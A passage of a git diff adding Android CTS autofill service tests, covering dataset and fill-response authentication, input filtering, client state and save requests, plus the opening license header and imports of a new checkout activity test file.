+            mActivity.expectAutoFill("DUDE", "SWEET");
+        }
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+        final View username = mActivity.getUsername();
+
+        // Authenticate
+        callback.assertUiShownEvent(username);
+        mUiBot.assertDatasets("Tap to auth dataset", "What, me auth?");
+
+        final String chosenOne = selectAuth ? "Tap to auth dataset" : "What, me auth?";
+        mUiBot.selectDataset(chosenOne);
+        callback.assertUiHiddenEvent(username);
+        mUiBot.assertNoDatasets();
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    @AppModeFull(reason = "testDatasetAuthFilteringUsingRegex() is enough")
+    public void testDatasetAuthNoFiltering() throws Exception {
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Create the authentication intents
+        final CannedDataset unlockedDataset = new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .build();
+        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+                unlockedDataset);
+
+        // Configure the service behavior
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_PASSWORD, UNUSED_AUTOFILL_VALUE)
+                        .setPresentation(createPresentation("Tap to auth dataset"))
+                        .setAuthentication(authentication)
+                        .build())
+                .build());
+
+        // Set expectation for the activity
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+        final View username = mActivity.getUsername();
+
+        // Make sure it's showing initially...
+        callback.assertUiShownEvent(username);
+        mUiBot.assertDatasets("Tap to auth dataset");
+
+        // ..then type something to hide it.
+        mActivity.onUsername((v) -> v.setText("a"));
+        callback.assertUiHiddenEvent(username);
+        mUiBot.assertNoDatasets();
+
+        // Now delete the char and assert it's shown again...
+        mActivity.onUsername((v) -> v.setText(""));
+        callback.assertUiShownEvent(username);
+        mUiBot.assertDatasets("Tap to auth dataset");
+
+        // ...and select it this time
+        mUiBot.selectDataset("Tap to auth dataset");
+        callback.assertUiHiddenEvent(username);
+        mUiBot.assertNoDatasets();
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    @AppModeFull(reason = "testDatasetAuthFilteringUsingRegex() is enough")
+    public void testDatasetAuthFilteringUsingAutofillValue() throws Exception {
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Create the authentication intents
+        final CannedDataset unlockedDataset = new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .build();
+        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+                unlockedDataset);
+
+        // Configure the service behavior
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("DS1"))
+                        .setAuthentication(authentication)
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "DUDE,THE")
+                        .setField(ID_PASSWORD, "SWEET")
+                        .setPresentation(createPresentation("DS2"))
+                        .setAuthentication(authentication)
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "ZzBottom")
+                        .setField(ID_PASSWORD, "top")
+                        .setPresentation(createPresentation("DS3"))
+                        .setAuthentication(authentication)
+                        .build())
+                .build());
+
+        // Set expectation for the activity
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+        final View username = mActivity.getUsername();
+
+        // Make sure it's showing initially...
+        callback.assertUiShownEvent(username);
+        mUiBot.assertDatasets("DS1", "DS2", "DS3");
+
+        // ...then type something to hide them.
+        mActivity.onUsername((v) -> v.setText("a"));
+        callback.assertUiHiddenEvent(username);
+        mUiBot.assertNoDatasets();
+
+        // Now delete the char and assert they're shown again...
+        mActivity.onUsername((v) -> v.setText(""));
+        callback.assertUiShownEvent(username);
+        mUiBot.assertDatasets("DS1", "DS2", "DS3");
+
+        // ...then filter for 2
+        mActivity.onUsername((v) -> v.setText("d"));
+        mUiBot.assertDatasets("DS1", "DS2");
+
+        // ...up to 1
+        mActivity.onUsername((v) -> v.setText("du"));
+        mUiBot.assertDatasets("DS1", "DS2");
+        mActivity.onUsername((v) -> v.setText("dud"));
+        mUiBot.assertDatasets("DS1", "DS2");
+        mActivity.onUsername((v) -> v.setText("dude"));
+        mUiBot.assertDatasets("DS1", "DS2");
+        mActivity.onUsername((v) -> v.setText("dude,"));
+        mUiBot.assertDatasets("DS2");
+
+        // Now delete the char and assert 2 are shown again...
+        mActivity.onUsername((v) -> v.setText("dude"));
+        final UiObject2 picker = mUiBot.assertDatasets("DS1", "DS2");
+
+        // ...and select it this time
+        mUiBot.selectDataset(picker, "DS1");
+        callback.assertUiHiddenEvent(username);
+        mUiBot.assertNoDatasets();
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Presubmit
+    @Test
+    public void testDatasetAuthFilteringUsingRegex() throws Exception {
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Create the authentication intents
+        final CannedDataset unlockedDataset = new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .build();
+        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+                unlockedDataset);
+
+        // Configure the service behavior
+
+        final Pattern min2Chars = Pattern.compile(".{2,}");
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, UNUSED_AUTOFILL_VALUE, min2Chars)
+                        .setField(ID_PASSWORD, UNUSED_AUTOFILL_VALUE)
+                        .setPresentation(createPresentation("Tap to auth dataset"))
+                        .setAuthentication(authentication)
+                        .build())
+                .build());
+
+        // Set expectation for the activity
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+        final View username = mActivity.getUsername();
+
+        // Make sure it's showing initially...
+        callback.assertUiShownEvent(username);
+        mUiBot.assertDatasets("Tap to auth dataset");
+
+        // ...then type something to hide it.
+        mActivity.onUsername((v) -> v.setText("a"));
+        callback.assertUiHiddenEvent(username);
+        mUiBot.assertNoDatasets();
+
+        // ...now type something again to show it, as the input will have 2 chars.
+        mActivity.onUsername((v) -> v.setText("aa"));
+        callback.assertUiShownEvent(username);
+        mUiBot.assertDatasets("Tap to auth dataset");
+
+        // Delete the char and assert it's not shown again...
+        mActivity.onUsername((v) -> v.setText("a"));
+        callback.assertUiHiddenEvent(username);
+        mUiBot.assertNoDatasets();
+
+        // ...then type something again to show it, as the input will have 2 chars.
+        mActivity.onUsername((v) -> v.setText("aa"));
+        callback.assertUiShownEvent(username);
+
+        // ...and select it this time
+        mUiBot.selectDataset("Tap to auth dataset");
+        callback.assertUiHiddenEvent(username);
+        mUiBot.assertNoDatasets();
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    @AppModeFull(reason = "testDatasetAuthFilteringUsingRegex() is enough")
+    public void testDatasetAuthMixedFilteringSelectAuth() throws Exception {
+        datasetAuthMixedFilteringTest(true);
+    }
+
+    @Test
+    @AppModeFull(reason = "testDatasetAuthFilteringUsingRegex() is enough")
+    public void testDatasetAuthMixedFilteringSelectNonAuth() throws Exception {
+        datasetAuthMixedFilteringTest(false);
+    }
+
+    private void datasetAuthMixedFilteringTest(boolean selectAuth) throws Exception {
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Create the authentication intents
+        final CannedDataset unlockedDataset = new CannedDataset.Builder()
+                .setField(ID_USERNAME, "DUDE")
+                .setField(ID_PASSWORD, "SWEET")
+                .build();
+        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+                unlockedDataset);
+
+        // Configure the service behavior
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_PASSWORD, UNUSED_AUTOFILL_VALUE)
+                        .setPresentation(createPresentation("Tap to auth dataset"))
+                        .setAuthentication(authentication)
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("What, me auth?"))
+                        .build())
+                .build());
+
+        // Set expectation for the activity
+        if (selectAuth) {
+            mActivity.expectAutoFill("DUDE", "SWEET");
+        } else {
+            mActivity.expectAutoFill("dude", "sweet");
+        }
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+        final View username = mActivity.getUsername();
+
+        // Make sure it's showing initially...
+        callback.assertUiShownEvent(username);
+        mUiBot.assertDatasets("Tap to auth dataset", "What, me auth?");
+
+        // Filter the auth dataset.
+        mActivity.onUsername((v) -> v.setText("d"));
+        mUiBot.assertDatasets("What, me auth?");
+
+        // Filter all.
+        mActivity.onUsername((v) -> v.setText("dw"));
+        callback.assertUiHiddenEvent(username);
+        mUiBot.assertNoDatasets();
+
+        // Now delete the char and assert the non-auth is shown again.
+        mActivity.onUsername((v) -> v.setText("d"));
+        callback.assertUiShownEvent(username);
+        mUiBot.assertDatasets("What, me auth?");
+
+        // Delete again and assert all dataset are shown.
+        mActivity.onUsername((v) -> v.setText(""));
+        mUiBot.assertDatasets("Tap to auth dataset", "What, me auth?");
+
+        // ...and select it this time
+        final String chosenOne = selectAuth ? "Tap to auth dataset" : "What, me auth?";
+        mUiBot.selectDataset(chosenOne);
+        callback.assertUiHiddenEvent(username);
+        mUiBot.assertNoDatasets();
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Presubmit
+    @Test
+    public void testDatasetAuthClientStateSetOnIntentOnly() throws Exception {
+        fillDatasetAuthWithClientState(ClientStateLocation.INTENT_ONLY);
+    }
+
+    @Test
+    @AppModeFull(reason = "testDatasetAuthClientStateSetOnIntentOnly() is enough")
+    public void testDatasetAuthClientStateSetOnFillResponseOnly() throws Exception {
+        fillDatasetAuthWithClientState(ClientStateLocation.FILL_RESPONSE_ONLY);
+    }
+
+    @Test
+    @AppModeFull(reason = "testDatasetAuthClientStateSetOnIntentOnly() is enough")
+    public void testDatasetAuthClientStateSetOnIntentAndFillResponse() throws Exception {
+        fillDatasetAuthWithClientState(ClientStateLocation.BOTH);
+    }
+
+    private void fillDatasetAuthWithClientState(ClientStateLocation where) throws Exception {
+        // Set service.
+        enableService();
+
+        // Prepare the authenticated response
+        final CannedDataset dataset = new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .build();
+        final IntentSender authentication = where == ClientStateLocation.FILL_RESPONSE_ONLY
+                ? AuthenticationActivity.createSender(mContext, 1,
+                        dataset)
+                : AuthenticationActivity.createSender(mContext, 1,
+                        dataset, Helper.newClientState("CSI", "FromIntent"));
+
+        // Configure the service behavior
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .setExtras(Helper.newClientState("CSI", "FromResponse"))
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_PASSWORD, UNUSED_AUTOFILL_VALUE)
+                        .setPresentation(createPresentation("Tap to auth dataset"))
+                        .setAuthentication(authentication)
+                        .build())
+                .build());
+
+        // Set expectation for the activity
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+        sReplier.getNextFillRequest();
+
+        // Tap authentication request.
+        mUiBot.selectDataset("Tap to auth dataset");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+
+        // Now trigger save.
+        mActivity.onUsername((v) -> v.setText("malkovich"));
+        mActivity.onPassword((v) -> v.setText("malkovich"));
+        final String expectedMessage = getWelcomeMessage("malkovich");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+        // Assert client state on authentication activity.
+        Helper.assertAuthenticationClientState("auth activity", AuthenticationActivity.getData(),
+                "CSI", "FromResponse");
+
+        // Assert client state on save request.
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        final String expectedValue = where == ClientStateLocation.FILL_RESPONSE_ONLY
+                ? "FromResponse" : "FromIntent";
+        Helper.assertAuthenticationClientState("on save", saveRequest.data, "CSI", expectedValue);
+    }
+
+    @Presubmit
+    @Test
+    public void testFillResponseAuthBothFields() throws Exception {
+        fillResponseAuthBothFields(false);
+    }
+
+    @Test
+    @AppModeFull(reason = "testFillResponseAuthBothFields() is enough")
+    public void testFillResponseAuthBothFieldsUserCancelsFirstAttempt() throws Exception {
+        fillResponseAuthBothFields(true);
+    }
+
+    private void fillResponseAuthBothFields(boolean cancelFirstAttempt) throws Exception {
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Prepare the authenticated response
+        final Bundle clientState = new Bundle();
+        clientState.putString("numbers", "4815162342");
+        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+                new CannedFillResponse.Builder().addDataset(
+                        new CannedDataset.Builder()
+                                .setField(ID_USERNAME, "dude")
+                                .setField(ID_PASSWORD, "sweet")
+                                .setId("name")
+                                .setPresentation(createPresentation("Dataset"))
+                                .build())
+                        .setExtras(clientState).build());
+
+        // Configure the service behavior
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setAuthentication(authentication, ID_USERNAME, ID_PASSWORD)
+                .setPresentation(createPresentation("Tap to auth response"))
+                .setExtras(clientState)
+                .build());
+
+        // Set expectation for the activity
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+        final View username = mActivity.getUsername();
+        callback.assertUiShownEvent(username);
+        mUiBot.assertDatasets("Tap to auth response");
+
+        // Make sure UI is show on 2nd field as well
+        final View password = mActivity.getPassword();
+        requestFocusOnPassword();
+        callback.assertUiHiddenEvent(username);
+        callback.assertUiShownEvent(password);
+        mUiBot.assertDatasets("Tap to auth response");
+
+        // Now tap on 1st field to show it again...
+        requestFocusOnUsername();
+        callback.assertUiHiddenEvent(password);
+        callback.assertUiShownEvent(username);
+
+        if (cancelFirstAttempt) {
+            // Trigger the auth dialog, but emulate cancel.
+            AuthenticationActivity.setResultCode(RESULT_CANCELED);
+            mUiBot.selectDataset("Tap to auth response");
+            callback.assertUiHiddenEvent(username);
+            callback.assertUiShownEvent(username);
+            mUiBot.assertDatasets("Tap to auth response");
+
+            // Make sure it's still shown on other fields...
+            requestFocusOnPassword();
+            callback.assertUiHiddenEvent(username);
+            callback.assertUiShownEvent(password);
+            mUiBot.assertDatasets("Tap to auth response");
+
+            // Tap on 1st field to show it again...
+            requestFocusOnUsername();
+            callback.assertUiHiddenEvent(password);
+            callback.assertUiShownEvent(username);
+        }
+
+        // ...and select it this time
+        AuthenticationActivity.setResultCode(RESULT_OK);
+        mUiBot.selectDataset("Tap to auth response");
+        callback.assertUiHiddenEvent(username);
+        callback.assertUiShownEvent(username);
+        final UiObject2 picker = mUiBot.assertDatasets("Dataset");
+        mUiBot.selectDataset(picker, "Dataset");
+        callback.assertUiHiddenEvent(username);
+        mUiBot.assertNoDatasets();
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+
+        final Bundle data = AuthenticationActivity.getData();
+        assertThat(data).isNotNull();
+        final String extraValue = data.getString("numbers");
+        assertThat(extraValue).isEqualTo("4815162342");
+    }
+
+    @Test
+    @AppModeFull(reason = "testFillResponseAuthBothFields() is enough")
+    public void testFillResponseAuthJustOneField() throws Exception {
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Prepare the authenticated response
+        final Bundle clientState = new Bundle();
+        clientState.putString("numbers", "4815162342");
+        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+                new CannedFillResponse.Builder().addDataset(
+                        new CannedDataset.Builder()
+                                .setField(ID_USERNAME, "dude")
+                                .setField(ID_PASSWORD, "sweet")
+                                .setPresentation(createPresentation("Dataset"))
+                                .build())
+                        .build());
+
+        // Configure the service behavior
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setAuthentication(authentication, ID_USERNAME)
+                .setIgnoreFields(ID_PASSWORD)
+                .setPresentation(createPresentation("Tap to auth response"))
+                .setExtras(clientState)
+                .build());
+
+        // Set expectation for the activity
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+        final View username = mActivity.getUsername();
+        callback.assertUiShownEvent(username);
+        mUiBot.assertDatasets("Tap to auth response");
+
+        // Make sure UI is not show on 2nd field
+        requestFocusOnPassword();
+        callback.assertUiHiddenEvent(username);
+        mUiBot.assertNoDatasets();
+        // Now tap on 1st field to show it again...
+        requestFocusOnUsername();
+        callback.assertUiShownEvent(username);
+
+        // ...and select it this time
+        mUiBot.selectDataset("Tap to auth response");
+        callback.assertUiHiddenEvent(username);
+        final UiObject2 picker = mUiBot.assertDatasets("Dataset");
+
+        callback.assertUiShownEvent(username);
+        mUiBot.selectDataset(picker, "Dataset");
+        callback.assertUiHiddenEvent(username);
+        mUiBot.assertNoDatasets();
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+        final Bundle data = AuthenticationActivity.getData();
+        assertThat(data).isNotNull();
+        final String extraValue = data.getString("numbers");
+        assertThat(extraValue).isEqualTo("4815162342");
+    }
+
+    @Test
+    @AppModeFull(reason = "testFillResponseAuthBothFields() is enough")
+    public void testFillResponseAuthWhenAppCallsCancel() throws Exception {
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Prepare the authenticated response
+        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+                new CannedFillResponse.Builder().addDataset(
+                        new CannedDataset.Builder()
+                                .setField(ID_USERNAME, "dude")
+                                .setField(ID_PASSWORD, "sweet")
+                                .setId("name")
+                                .setPresentation(createPresentation("Dataset"))
+                                .build())
+                        .build());
+
+        // Configure the service behavior
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setAuthentication(authentication, ID_USERNAME, ID_PASSWORD)
+                .setPresentation(createPresentation("Tap to auth response"))
+                .build());
+
+        // Trigger autofill.
+        requestFocusOnUsername();
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+        final View username = mActivity.getUsername();
+        callback.assertUiShownEvent(username);
+        mUiBot.assertDatasets("Tap to auth response");
+
+        // Disables autofill so it's not triggered again after the auth activity is finished
+        // (and current session is canceled) and the login activity is resumed.
+        username.setImportantForAutofill(IMPORTANT_FOR_AUTOFILL_NO);
+
+        // Autofill it.
+        final CountDownLatch latch = new CountDownLatch(1);
+        AuthenticationActivity.setResultCode(latch, RESULT_OK);
+
+        mUiBot.selectDataset("Tap to auth response");
+        callback.assertUiHiddenEvent(username);
+
+        // Cancel session...
+        mActivity.getAutofillManager().cancel();
+
+        // ...before finishing the Auth UI.
+        latch.countDown();
+
+        mUiBot.assertNoDatasets();
+    }
+
+    @Test
+    @AppModeFull(reason = "testFillResponseAuthBothFields() is enough")
+    public void testFillResponseAuthServiceHasNoDataButCanSave() throws Exception {
+        fillResponseAuthServiceHasNoDataTest(true);
+    }
+
+    @Test
+    @AppModeFull(reason = "testFillResponseAuthBothFields() is enough")
+    public void testFillResponseAuthServiceHasNoData() throws Exception {
+        fillResponseAuthServiceHasNoDataTest(false);
+    }
+
+    private void fillResponseAuthServiceHasNoDataTest(boolean canSave) throws Exception {
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Prepare the authenticated response
+        final CannedFillResponse response = canSave
+                ? new CannedFillResponse.Builder()
+                        .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                        .build()
+                : CannedFillResponse.NO_RESPONSE;
+
+        final IntentSender authentication =
+                AuthenticationActivity.createSender(mContext, 1, response);
+
+        // Configure the service behavior
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setAuthentication(authentication, ID_USERNAME, ID_PASSWORD)
+                .setPresentation(createPresentation("Tap to auth response"))
+                .build());
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+        final View username = mActivity.getUsername();
+        callback.assertUiShownEvent(username);
+
+        // Select the authentication dialog.
+        mUiBot.selectDataset("Tap to auth response");
+        callback.assertUiHiddenEvent(username);
+        mUiBot.assertNoDatasets();
+
+        if (!canSave) {
+            // Our work is done!
+            return;
+        }
+
+        // Set credentials...
+        mActivity.onUsername((v) -> v.setText("malkovich"));
+        mActivity.onPassword((v) -> v.setText("malkovich"));
+
+        // ...and login
+        final String expectedMessage = getWelcomeMessage("malkovich");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+
+        // Assert the snack bar is shown and tap "Save".
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        sReplier.assertNoUnhandledSaveRequests();
+        assertThat(saveRequest.datasetIds).isNull();
+
+        // Assert value of expected fields - should not be sanitized.
+        final ViewNode usernameNode = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
+        assertTextAndValue(usernameNode, "malkovich");
+        final ViewNode passwordNode = findNodeByResourceId(saveRequest.structure, ID_PASSWORD);
+        assertTextAndValue(passwordNode, "malkovich");
+    }
+
+    @Presubmit
+    @Test
+    public void testFillResponseAuthClientStateSetOnIntentOnly() throws Exception {
+        fillResponseAuthWithClientState(ClientStateLocation.INTENT_ONLY);
+    }
+
+    @Test
+    @AppModeFull(reason = "testFillResponseAuthClientStateSetOnIntentOnly() is enough")
+    public void testFillResponseAuthClientStateSetOnFillResponseOnly() throws Exception {
+        fillResponseAuthWithClientState(ClientStateLocation.FILL_RESPONSE_ONLY);
+    }
+
+    @Test
+    @AppModeFull(reason = "testFillResponseAuthClientStateSetOnIntentOnly() is enough")
+    public void testFillResponseAuthClientStateSetOnIntentAndFillResponse() throws Exception {
+        fillResponseAuthWithClientState(ClientStateLocation.BOTH);
+    }
+
+    enum ClientStateLocation {
+        INTENT_ONLY,
+        FILL_RESPONSE_ONLY,
+        BOTH
+    }
+
+    private void fillResponseAuthWithClientState(ClientStateLocation where) throws Exception {
+        // Set service.
+        enableService();
+
+        // Prepare the authenticated response
+        final CannedFillResponse.Builder authenticatedResponseBuilder =
+                new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("Dataset"))
+                        .build());
+
+        if (where == ClientStateLocation.FILL_RESPONSE_ONLY || where == ClientStateLocation.BOTH) {
+            authenticatedResponseBuilder.setExtras(
+                    Helper.newClientState("CSI", "FromAuthResponse"));
+        }
+
+        final IntentSender authentication = where == ClientStateLocation.FILL_RESPONSE_ONLY
+                ? AuthenticationActivity.createSender(mContext, 1,
+                authenticatedResponseBuilder.build())
+                : AuthenticationActivity.createSender(mContext, 1,
+                        authenticatedResponseBuilder.build(),
+                        Helper.newClientState("CSI", "FromIntent"));
+
+        // Configure the service behavior
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setAuthentication(authentication, ID_USERNAME)
+                .setIgnoreFields(ID_PASSWORD)
+                .setPresentation(createPresentation("Tap to auth response"))
+                .setExtras(Helper.newClientState("CSI", "FromResponse"))
+                .build());
+
+        // Set expectation for the activity
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger autofill.
+        requestFocusOnUsername();
+        sReplier.getNextFillRequest();
+
+        // Tap authentication request.
+        mUiBot.selectDataset("Tap to auth response");
+
+        // Tap dataset.
+        mUiBot.selectDataset("Dataset");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+
+        // Now trigger save.
+        mActivity.onUsername((v) -> v.setText("malkovich"));
+        mActivity.onPassword((v) -> v.setText("malkovich"));
+        final String expectedMessage = getWelcomeMessage("malkovich");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+        // Assert client state on authentication activity.
+        Helper.assertAuthenticationClientState("auth activity", AuthenticationActivity.getData(),
+                "CSI", "FromResponse");
+
+        // Assert client state on save request.
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        final String expectedValue = where == ClientStateLocation.FILL_RESPONSE_ONLY
+                ? "FromAuthResponse" : "FromIntent";
+        Helper.assertAuthenticationClientState("on save", saveRequest.data, "CSI", expectedValue);
+    }
+
+    @Presubmit
+    @Test
+    public void testFillResponseFiltering() throws Exception {
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Prepare the authenticated response
+        final Bundle clientState = new Bundle();
+        clientState.putString("numbers", "4815162342");
+        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+                new CannedFillResponse.Builder().addDataset(
+                        new CannedDataset.Builder()
+                                .setField(ID_USERNAME, "dude")
+                                .setField(ID_PASSWORD, "sweet")
+                                .setId("name")
+                                .setPresentation(createPresentation("Dataset"))
+                                .build())
+                        .setExtras(clientState).build());
+
+        // Configure the service behavior
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setAuthentication(authentication, ID_USERNAME, ID_PASSWORD)
+                .setPresentation(createPresentation("Tap to auth response"))
+                .setExtras(clientState)
+                .build());
+
+        // Set expectation for the activity
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+        final View username = mActivity.getUsername();
+
+        // Make sure it's showing initially...
+        callback.assertUiShownEvent(username);
+        mUiBot.assertDatasets("Tap to auth response");
+
+        // ..then type something to hide it.
+        mActivity.onUsername((v) -> v.setText("a"));
+        callback.assertUiHiddenEvent(username);
+        mUiBot.assertNoDatasets();
+
+        // Now delete the char and assert it's shown again...
+        mActivity.onUsername((v) -> v.setText(""));
+        callback.assertUiShownEvent(username);
+        mUiBot.assertDatasets("Tap to auth response");
+
+        // ...and select it this time
+        AuthenticationActivity.setResultCode(RESULT_OK);
+        mUiBot.selectDataset("Tap to auth response");
+        callback.assertUiHiddenEvent(username);
+        callback.assertUiShownEvent(username);
+        final UiObject2 picker = mUiBot.assertDatasets("Dataset");
+        mUiBot.selectDataset(picker, "Dataset");
+        callback.assertUiHiddenEvent(username);
+        mUiBot.assertNoDatasets();
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+
+        final Bundle data = AuthenticationActivity.getData();
+        assertThat(data).isNotNull();
+        final String extraValue = data.getString("numbers");
+        assertThat(extraValue).isEqualTo("4815162342");
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dropdown/CheckoutActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/dropdown/CheckoutActivityTest.java
new file mode 100644
index 0000000..1e3535e
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/dropdown/CheckoutActivityTest.java
@@ -0,0 +1,801 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.dropdown;
+
+import static android.autofillservice.cts.activities.CheckoutActivity.ID_ADDRESS;
+import static android.autofillservice.cts.activities.CheckoutActivity.ID_CC_EXPIRATION;
+import static android.autofillservice.cts.activities.CheckoutActivity.ID_CC_NUMBER;
+import static android.autofillservice.cts.activities.CheckoutActivity.ID_DATE_PICKER;
+import static android.autofillservice.cts.activities.CheckoutActivity.ID_HOME_ADDRESS;
+import static android.autofillservice.cts.activities.CheckoutActivity.ID_SAVE_CC;
+import static android.autofillservice.cts.activities.CheckoutActivity.ID_TIME_PICKER;
+import static android.autofillservice.cts.activities.CheckoutActivity.ID_WORK_ADDRESS;
+import static android.autofillservice.cts.activities.CheckoutActivity.INDEX_ADDRESS_WORK;
+import static android.autofillservice.cts.activities.CheckoutActivity.INDEX_CC_EXPIRATION_NEVER;
+import static android.autofillservice.cts.activities.CheckoutActivity.INDEX_CC_EXPIRATION_TODAY;
